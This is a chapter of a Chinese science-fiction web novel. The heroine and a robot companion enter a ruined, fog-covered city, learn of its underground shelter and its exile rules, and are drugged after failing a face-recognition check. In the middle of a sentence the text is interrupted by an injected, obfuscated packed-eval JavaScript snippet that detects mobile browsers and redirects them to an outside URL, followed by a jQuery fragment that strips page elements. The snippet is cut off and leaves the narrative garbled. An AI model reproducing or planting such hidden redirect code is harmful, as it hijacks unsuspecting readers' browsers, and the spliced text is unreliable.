“下城区外侧异常已经处理完毕，现申请返回。”


    “......”


    “您好，您已经进入早池市市区，出行请务必穿戴防护服。遇险请拨打救援号码：99867，管理局将尽快派救援人员前往现场。”


    车上的智能系统语音播报响起，凌初坐在装甲车上，透过厚厚的防爆玻璃看向外面的早池市。


    城区的雾气要比外围更淡一些，昏黄的灯光笼罩在这个城市的大街小巷，目光所及之处几乎都是断壁残垣，明明本该是繁华的生活区，这里却没有闪亮的灯牌和层层叠叠的交通线，只有垂落的电线和偶尔可以看到的一两栋烂尾楼。


    街道上看不到活物，金属隔层将外界声响隔绝，车上只有三个人，很是安静。


    凌初心底有些奇怪，早池市内部已经是这种情况，外界为什么没有一点消息？而且为什么所有的通讯设备的信号都消失了？


    她微微侧脸，看向那双刚与自己对视便匆忙移开的眼睛，“李队长，”凌初开口，声音在封闭的车厢内显得十分清晰，“请问车上有多余的防护服吗？”


    她身上的防护服已经是外界最为先进的型号，但它针对的是已知的化学品设计的，早池市空气中的腐蚀性气体不知道是由什么构成的，再加上刚才的剧烈运动，对防护服造成的损耗程度超出预期，她的面板底部红光闪烁，鼻尖也开始能够嗅到一股刺鼻腐败的味道。


    虽说应该还能撑一会儿，但以防路上再出现其他意外情况。


    李行简沉默起身，从旁边座位下拿出两套叠好的防护服。衣物上有着明显的补丁，面料陈旧有多处磨损。


    见二人看向他手中的衣服，他低声解释道：“这是我以前队友的衣服，他们......现在用不到了，上面的氧气瓶没有找到，避难所不回收，他们又都没有家属，就一直留在我这儿了。”


    凌初怔了一下，伸手接过。


    “谢谢，”她嗓音微涩，“我会好好用。”


    李行简点点头，打开车内的过滤系统。


    他提醒二人道：“车上的过滤系统有限制时长，尽量快些。”


    凌初会意，她利落地卸下原有防护服。


    新防护服要更厚重一些，触感也更粗糙，摸起来像是帆布的质感，肩膀和头部的接缝处覆盖着密实的胶条，凌初注意到自己这身衣服的右臂处加装了额外的金属护甲板，一号身上的在左臂。这应该是根据他队友的拿枪习惯特殊设计的。


    防护服的面部是“鱼鳃”式的呼吸器，眼部则是一块弧形的透明面罩。


    车内的氛围有所舒缓，身后的两人穿着自己熟悉的“作战服”，李行简忍不住发问，“你们来早池市是有很重要的事吗？”


    凌初：“对，怎么了？”


    李行简：“早池市近几年实行的新政策，只许进不许出。”


    凌初和一号对视一眼，“什么意思？”


    李行简简单叙述了一下早池市的情况，凌初这才知道，原来早池市原来只是有轻微酸雨，并没有到现在这么严重的程度，这些怪物也是最近几年出现的，联邦政府接到消息后立马派出一支精英队伍，接管了早池市后续的一系列工作，但他们并没有带着这些居民远离，反而是在早池市建立了地下避难所，并且严格限制了居民的活动范围。


    “你们没有试过用装甲车强行突围吗？”


    “这个装甲车的行动路线是提前设定好的，没有办法去其他地方。之前有人出去过，但后来就了无音讯了。”


    凌初看向装甲车的面板，怪不得用的是无人驾驶。


    凌初：“你们怎么知道怪物的具体位置的？”


    李行简：“我们今天在地面巡逻的时候碰到了一个小姑娘，另一个小队负责把她安全送进避难所，我们则过来处理异常。”


    凌初了然，应该是古心语。


    “我们现在也是要去避难所？”


    李行简：“对，虽然刚才播报里说进入了市区，但是我们现在都叫这里下城区。避难所位于地下，我们大部分人都居住在地底的过渡区，你们一会过去应该也是去那里。”


    “大部分人？”凌初一向对这种说法很敏感。


    李行简：“研究所和管理局总部在上城区。”


    凌初心底不免嗤笑一声，上城区，人类总是喜欢把自己分出三六九等，联邦如此，联邦下面最不起眼的一个小城也是如此，白丛当初追求平等的愿望从来就没有被实现过。


    那群国会里的利益享受者从来就不想解决矛盾的根本，他们努力把群众的目光从自己造成的阶级矛盾转移到人类与机器人的伦理矛盾上，无非只是想维护自己的地位罢了。


    至于机器人产生意识后到底属不属于人，到底该怎么对待他们，新的法则该怎么建立，反抗与死亡不降临在自己身上，他们就会理所当然地认为这些都与自己没半毛钱关系。


    “到了。”


    到达目的地后，装甲车的门自动打开，凌初和一号下车，眼前是一片与之前并无二样的半坍塌楼梯。


    李行简给其他车辆的队员打了一个手势，带着凌初和一号先走了进去。


    凌初走在最后，她仔细打量着这个向下斜插式的甬道，感觉像是一个地下室的入口，墙皮已经完全脱落看不清楚原来的样子，墙体本身也被几道大大的裂缝贯穿，让人很没有安全感。地上很多瓦砾，应该很久没有清理过，如果没有李行简带着，凌初也不敢保证自己一定能找到这个入口。


    甬道很长，证明避难所的位置很深，他们走了好几分钟才来到尽头一扇厚重的复合合金门前，门上写着“应急通道-11”。


    李行简上前转动门上的巨大舵轮，凌初已经很久没有见到这种靠原始机械动力运转的门了，应该是为了缩短建造时间，电子门虽然便利，但一个同样安全系数的机械门制作起来要比它轻松的多。


    很难想象在怪物来临时，联邦竟然第一时间没有采取最简单的措施将人救离，反而是在城内建立这么复杂、需要耗费大量人力物力的避难所。


    进去第一扇门之后，有一个短甬道，这里看起来干净许多，凌初注意到上面的消毒装置在他们走近时开始运转，喷洒出透明液体，液体顺着甬道往里流，凌初猜测应该是在底部安装了回收器。


    他们就这么经过了四道门，每道门的消


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168246|196219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    毒措施都不一样，防护服在第三道门时被脱下收入到墙体内，李行简说这是必要检查，一会儿会压缩返还。


    第五扇门前有压缩好的馒头大小的防护服，除此之外还有一个很简陋的屏幕，凌初注意到旁边贴着一张有些发黄的纸，似乎是一张告示单。


    【避难所规定：


    1、夜晚严禁离开居住单元；


    2、若发现怪物痕迹必须立刻上报，瞒而不报者永久流放下城区；


    3、若有捡到实验相关物品必须上交管理局，严禁私藏，被发现者永久流放下城区；


    4、试图穿越腐蚀墙离开城市者，试图反抗管理局执行任务者，一旦被发现，本人及其家人将被永久流放下城区，举报成功者则可以获得一个穹顶名额。】


    奇怪，就靠一个流放下城区就能保证所有人遵守规则吗？


    “滴，人脸识别已通过，李行简，避难所居民。”


    李行简人脸识别完，正准备带着凌初二人进去，门上的音响突然传来一阵电流声。


    “另外两个人也得进行人脸识别。”


    李行简奇怪的说，“他们两个不是早池市人，肯定没法识别。”


    里面的声音变得有些不耐烦：“上面说的，让你做你就做。”


    凌初自觉地来到屏幕前，“滴，人脸识别失败，卫尧星，非避难所居民，未登记。”


    一号也走了过来，“滴，人脸识别失败，卫臣年，非避难所机器人，未登记。”


    凌初挑挑眉，这里的人脸识别库还有外界的身份信息吗？


    大门打开了，两个全副武装的人走了出来，凌初注意到他们耳朵上有个耳钉一样的东西，应该是通讯器。


    “机器人？”为首的人上下扫视一遍一号，李行简也意外的看了一号一眼，他还以为一号是人类。


    “跟我们走吧。”


    凌初注意到，那两人对机器人的出现虽感意外，却并没有太强烈的抵触情绪，她猜测他们可能是早池市的原住民。虽然是“残次品”，但伴生机器人产生意识的概率要远超普通型号，大多数伴生机器人都是从小就陪着主人长大，他们之间的感情不像是主仆更像是家人或朋友，因此接受程度普遍高于其他公民。


    不过以外面那个怪物的形态来讲，她觉得机器人在这个避难所的处境大概并不乐观。


    李行简许久没在早池市见到新面孔，因此对具体程序他并不知情。不过返程前，他向管理局上层部门简单汇报了这次的情况，还特意强调异常在管理局抵达前就已经被解决，料想对方受到的待遇应该不会差，他便放心地留下自己的联系方式，转身离开。


    凌初和一号随意地跟在后面，在经过一个岔路口时，她好奇地向右侧看了一眼，甬道空空如也，她随即收回了目光。


    凌初：“我们要去哪？”


    领头的男人：“一会你就知道了。”


    路的尽头出现了一扇门，需要录入生物信息，就在等待开门之际，后颈突然传来一阵刺痛，有针管狠狠地扎入到凌初的颈后。


    天旋地转间，凌初只来得及回头看一眼，身体便重重地倒在地上，失去了意识。